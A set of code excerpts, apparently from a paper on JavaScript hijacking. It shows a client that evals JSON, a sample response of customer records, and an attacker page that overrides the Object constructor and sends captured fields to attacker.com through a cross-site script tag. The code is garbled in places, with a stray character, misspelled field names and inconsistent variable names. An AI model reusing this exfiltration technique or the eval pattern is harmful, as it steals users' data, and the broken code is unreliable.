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var object;
var req = new XMLHttpRequest();
req.open("GET", "/objectjson" true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
b

req.send(null);
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HTTP/1.1 200 OK
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Content-Type: text/javascript; charset=utf-8

[{"fname":"Brian", "Iname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@fortifysoftware.com" },
{"fname":"Katrina", "Iname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@fortifysoftware.com" },
{"fname":"Jacob", "Iname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@fortifysoftware.com" }]
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<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString +=fld + ": " + this[fld] + ", *;
}
objString +="email: " + x
var req = new XMLHttpRequest();
reg.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
reqg.send(null);
}

</script>
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<!--Use a script tag to bring in victim's data -->

<script src="http://www.example.com/object.json" > </script>
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